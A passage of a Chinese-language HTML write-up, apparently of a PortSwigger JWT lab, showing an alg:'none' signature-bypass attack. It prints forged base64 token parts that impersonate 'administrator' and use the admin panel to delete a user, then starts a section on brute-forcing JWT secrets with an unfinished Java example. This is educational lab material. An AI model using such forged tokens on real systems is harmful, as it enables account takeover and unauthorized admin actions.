<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:#F57900;font-family:Consolas;font-size:9.5pt;">wiener:</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">peter</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 3</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:登录之后可以看到如下界面</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 4</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:捕获到的数据报信息如下所示</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">截取</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的第二部分对其进行</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">解码</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MzQ5M30</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">将上述的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">sub</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">字段值更改为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"administrator"</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTM0OTN9</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 4</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:在使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">wiener</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用户的凭据访问</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">/admin</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是会提示</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">401 Unauthorized</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 5</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:将第一步分的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">alg</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数改为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">none</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJSUzI1NiJ9</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">更改之后的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">部分:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJub25lIn0</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">替换</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的第二部分为之前我们构造的信息,同时移除签名部分,再次请求数据获取到敏感数据链接</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">调用敏感链接移除用户信息,完成解题操作:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:13.5pt;letter-spacing:.55pt;">密钥暴力猜解</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">密钥介绍</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中密钥用于生成和验证签名,因此密钥的安全性对</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的安全性至关重要,一般来说</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">有以下两种类型的密钥:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">对称密钥:对称密钥是一种使用相同的密钥进行加密和解密的加密算法,在</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中使用对称密钥来生成和验证签名,因此密钥必须保密,只有发送方和接收方知道,由于对称密钥的安全性取决于密钥的保密性,因此需要采取一些措施来保护它</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">非对称密钥:非对称密钥使用公钥和私钥来加密和解密数据,在</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中使用私钥生成签名,而使用公钥验证签名,由于公钥可以公开,因此非对称密钥通常用于验证方的身份</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">下面是一个使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和对称密钥的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JAVA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">示例代码:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> io.jsonwebtoken.Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> io.jsonwebtoken.SignatureAlgorithm</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">import</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> java.util.Date</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
</span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">class</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWTExample </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">private</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">final</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> String SECRET_KEY </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"mysecretkey"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">设置密钥</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">void</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> main</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">String</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> args</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String token </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> createJWT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"123456"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">生成</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">JWT</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>System</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">out</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">println</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>String result </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> parseJWT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">验证</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">JWT</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>System</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">out</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">println</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">result</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> String createJWT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">String id</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// </span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">设置</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">JWT</span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">过期时间为</span></i><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">1</span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">小时</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">long</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> nowMillis </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> System</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">currentTimeMillis</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Date now </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Date</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">nowMillis</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">long</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> expMillis </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> nowMillis </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">3600000</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// 1</span></i><i><span style="color:#8F5902;font-family:宋体;font-size:9.5pt;">小时</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
